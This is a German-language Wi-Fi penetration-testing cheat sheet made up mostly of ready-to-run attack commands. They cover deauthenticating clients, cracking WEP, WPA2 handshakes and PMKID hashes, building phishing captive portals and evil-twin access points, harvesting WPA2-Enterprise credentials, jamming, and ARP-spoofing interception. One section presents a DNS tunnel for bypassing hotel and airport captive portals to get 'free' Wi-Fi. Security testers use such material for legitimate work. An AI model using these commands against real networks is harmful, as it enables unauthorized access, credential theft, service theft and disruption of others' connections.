Leitfaden für WLAN-Penetrationstests

Index

1. Grundlegende Befehle

2. Offene Netzwerke

   2.1. Captive Portale

   2.2. Man-in-the-Middle-Angriff

3. WEP-Knacken

   3.1. Keine Clients

4. WPA2-PSK-Knacken

   4.1. Knacken des 4-Wege-Handshakes

   4.2. PMKID-Angriff

   4.3. AP-loser Angriff

5. WPA2-Enterprise

   5.1. Fake Access Points

   5.2. Brute Force

   5.3. Unterstützte EAP-Methoden

6. Weitere Angriffe

   6.1. Krack-Angriff und Frag-Angriff

   6.2. OSINT

   6.3. WLAN-Störung (Jamming)

   6.4. Weitere Frameworks

7. Post-Exploitation

   7.1. Angriff auf den Router

   7.2. Arten von Scannern

   7.3. Spoofing

1. Grundlegende Befehle

Umgebungsvariable setzen

VARIABLE=value

Schnittstellenmodus überprüfen

iwconfig $IFACE

Schnittstellenstatus überprüfen

ifconfig $IFACE

Monitormodus setzen

airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up

Netzwerke auflisten

1. Monitormodus setzen

2. Airodump-ng ausführen

airodump-ng $IFACE -c $CHANNEL -e $ESSID

Deauthentifizierung

1. Nur ein Client

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

2. Ein Access Point (= alle Clients im AP)

 aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE

Versteckte SSID mit Clients ermitteln

1. Netzwerke auflisten

Listen Sie die Netzwerke mit Airodump-ng auf und notieren Sie die MAC-Adresse des AP ($AP_MAC) und die eines Clients ($CLIENT_MAC). Beenden Sie die Aufnahme nicht.

2. Deauthentifizieren

In einem anderen Terminal deauthentifizieren Sie einen Client oder alle. Wenn Airodump-ng einen Handshake von diesem Netzwerk erfasst, wird der Name oder die ESSID im ersten Terminal angezeigt:

aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE

Versteckte SSID ohne Clients ermitteln

1. Netzwerke auflisten

Listen Sie die Netzwerke mit Airodump-ng auf und notieren Sie die MAC-Adresse des AP ($AP_MAC) und die eines Clients ($CLIENT_MAC). Beenden Sie die Aufnahme nicht.

2.a. Wörterbuchangriff ausführen

mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH

2.b. Oder einen Brute-Force-Angriff ausführen

mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET

Für den Zeichensatz können l (Kleinbuchstaben), u (Großbuchstaben), n (Zahlen), c (Klein- und Großbuchstaben), m (Klein- und Großbuchstaben + Zahlen) oder a (alle druckbaren Zeichen) verwendet werden.

2. Offene Netzwerke

2.1. Captive Portale

2.1.1. Gefälschte Captive Portale

1. Klonen Sie eine Website mit HTTrack

2. Installieren Sie Wifiphiser. Fügen Sie das HTTrack-Ergebnis in einem neuen Ordner unter wifiphisher/data/phishing-pages/new_page/html und eine Konfigurationsdatei unter wifiphisher/data/phishing-pages/new_page/config.ini hinzu.

3. Kompilieren Sie das Projekt mit python setup.py install oder der Binärdatei in bin neu.

4. Dieser Befehl funktioniert korrekt in der neuesten Kali-Version nach der Installation von hostapd:

cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE

2.1.2. Umgehung 1: MAC-Spoofing

Die erste Methode zur Umgehung eines Captive Portals besteht darin, Ihre MAC-Adresse in die eines bereits authentifizierten Benutzers zu ändern.

1. Scannen Sie das Netzwerk und erhalten Sie die Liste der IP- und MAC-Adressen. Sie können verwenden:

• nmap

• Ein benutzerdefiniertes Skript wie dieses (Bash) oder dieses (Python)

2. Ändern Sie Ihre IP- und MAC-Adressen. Sie können verwenden:

• macchanger

• Ein benutzerdefiniertes Skript wie dieses(Bash)

Außerdem können Sie Skripte zur Automatisierung des Prozesses verwenden, wie z.B.:

• Poliva-Skript

• Hackcaptiveportals

2.1.3. Umgehung 2: DNS-Tunneling

Eine zweite Methode ist das Erstellen eines DNS-Tunnels. Hierfür ist es notwendig, einen eigenen zugänglichen DNS-Server zu haben. Sie können diese Methode nutzen, um das Captive Portal zu umgehen und in Hotels, Flughäfen usw. "kostenloses" WLAN zu erhalten.

1. Überprüfen Sie, ob die Domainnamen aufgelöst werden:

nslookup example.com

2. Erstellen Sie 2 DNS-Einträge (bei Digital Ocean, Afraid.org...):

• Einen "A-Eintrag": dns.$DOMAIN zeigt auf $SERVER_IP (Beispiel: dns.domain.com 139.59.172.117)

• Einen "NS-Eintrag": hack.$DOMAIN zeigt auf dns.$DOMAIN (Beispiel: hack.domain.com dns.domain.com)

3. Ausführung auf dem Server

iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN

4. Überprüfen Sie, ob es korrekt funktioniert hier

5. Ausführung auf dem Client

iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN

6. Tunnel erstellen

ssh -D 8080 [email protected]

2.2. Man-in-the-Middle-Angriff

Sobald Sie im Netzwerk sind, können Sie testen, ob es anfällig für Man-in-the-Middle-Angriffe ist.

1. ARP-Spoofing-Angriff mit Ettercap

2. Sniffen des Datenverkehrs mit Wireshark oder TCPdump

3. Analysieren des Datenverkehrs mit PCredz (Linux) oder Network Miner (Windows)

3. WEP-Knacken

1. Aufnahme starten

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Beschleunigen Sie die IV-Erfassung mit Fake Authentication + ARP-Request-Replay-Angriff + Deauthentifizieren des Benutzers. Stoppen Sie Airodump bei ~100.000 verschiedenen IVs

aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Knacken des Passworts mit Aircrack-ng

aircrack-ng $PCAP_FILE

4. WPA2-PSK-Knacken

4.1. Knacken des 4-Wege-Handshakes

1. Aufnahme starten

airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE

2. Deauthentifizieren Sie einen Benutzer. Stoppen Sie die Airodump-Aufnahme, wenn Sie die Meldung 'WPA handshake: $MAC' sehen

aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE

3. Option 1: Knacken des Handshakes mit Aircrack-ng

aircrack-ng -w $WORDLIST capture.cap

Sie können Wortlisten von hier herunterladen.

4. Option 2: Knacken des Handshakes mit Pyrit

pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db

4.2. PMKID-Angriff

Sie können dieses Skript verwenden oder diese Schritte befolgen:

1. Installieren Sie Hcxdumptool und Hcxtool (Sie können dieses Skript verwenden).

2. Network Manager stoppen

airmon-ng check kill

3a. Wenn Sie eine bestimmte MAC-Adresse angreifen möchten

• Erstellen Sie eine Textdatei ($FILTER_FILE) und fügen Sie die MAC-Adresse ohne ":" hinzu. Sie können sed verwenden und die Ausgabe in eine Datei umleiten:

echo $MAC | sed 's/://g' > $FILTER_FILE

• PMKID erfassen

hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2

4. $HASH_FILE erstellen

hcxpcaptool -z $HASH_FILE $PCAPNG_FILE

Die Struktur jeder Zeile ist: PMKID * ROUTER MAC * STATION * ESSID (überprüfen unter: https://www.rapidtables.com/convert/number/hex-to-ascii.html)

5. Knacken mit Hashcat (Option 16800)

hashcat -a 0 -m 16800 $HASH_FILE $WORDLIST --force

4.3. AP-loser Angriff

Wenn Sie Zugriff auf ein Client-Gerät haben, bei dem die WLAN-Verbindung eingeschaltet ist, aber kein Netzwerk in der Nähe ist, können Sie dieses Netzwerk dennoch angreifen, falls das Client-Gerät zuvor eine Verbindung dazu hergestellt hat.

Dazu müssen Sie einen Fake Access Point mit hostapd und einer Konfigurationsdatei wie dieser erstellen, mit einem beliebigen Passwort, aber demselben Netzwerknamen. Erstellen Sie das gefälschte Netzwerk, das Client-Gerät wird versuchen, sich damit zu verbinden, und Sie erhalten den 4-Wege-Handshake wie in Abschnitt 4.1 dieser Anleitung.

5. WPA2-Enterprise

5.1 Fake Access Points

Download virtueller Maschinen

Lokale Installation

Falls Sie die virtuelle Maschine nicht verwenden möchten, können Sie alles mit folgendem Befehl installieren:

git clone https://github.com/ricardojoserf/WPA_Enterprise_Attack

cd WPA_Enterprise_Attack && sudo sh install.sh

Hostapd & Freeradius-wpe

Starten Sie den Access Point mit:

sh freeradius_wpe_init.sh $AP_NAME $INTERFACE

Wenn ein Client eine Verbindung herstellt, lesen Sie die Protokolle mit:

sh freeradius_wpe_read.sh

Hostapd-wpe

sh hostapd_wpe_init.sh $AP_NAME $INTERFACE

5.2 Brute Force

• Airhammer

5.3 Unterstützte EAP-Methoden

Finden Sie unterstützte EAP-Methoden

• EAP_buster

6. Weitere Angriffe

6.1. Krack-Angriff und Frag-Angriff

Dies sind zwei fortgeschrittene Angriffe, die von dem großartigen Mathy Vanhoef entdeckt wurden:

• Krack Attack Scripts - Erklärt auf dieser Website

• Frag Attack Scripts - Erklärt auf dieser Website

6.2. OSINT

• Wigle

6.3. WLAN-Störung (Jamming)

• Wifijammer - Dieses Programm kann Deauthentifizierungspakete sowohl an APs als auch an Clients senden.

Ein Beispiel, um alle Geräte außer einem Fake Access Point zu deauthentifizieren:

sudo ./wifijammer -i $IFACE -s $FAKE_AP_MAC

6.4. Weitere Frameworks

Linux:

• Sniffair
• Wifi Pumpkin - Framework für Rogue WiFi Access Point Attacken
• Eaphammer - Framework für Fake Access Points
• WEF - Framework für verschiedene Angriffsarten auf WPA/WPA2 und WEP, automatisiertes Hash-Knacken und mehr

Windows:

• Acrylic - Nützlich für die Aufklärungsphase
• Ekahau - Nützlich für WLAN-Planung
• Vistumbler - Nützlich für Wardriving

7. Post-Exploitation

Sobald Sie mit dem Netzwerk verbunden sind

7.1. Angriff auf den Router

• Routersploit - Exploitation-Framework für eingebettete Geräte - Testen Sie "use scanners/autopwn"

7.2. Arten von Scannern

• Nmap/Zenmap - Sicherheitsscanner, Portscanner und Netzwerkerkundungswerkzeug

• Masscan - Die schnellere Version von nmap (es kann Dinge zerstören, also seien Sie vorsichtig)

• Netdiscover - ARP-Sniffing. Sehr nützlich, wenn die Netzwerke sehr stark segmentiert sind

7.3. Spoofing

• Ettercap - Überprüfen Sie, ob Sie einen MitM-Angriff durchführen und den gesamten Datenverkehr im Netzwerk abhören können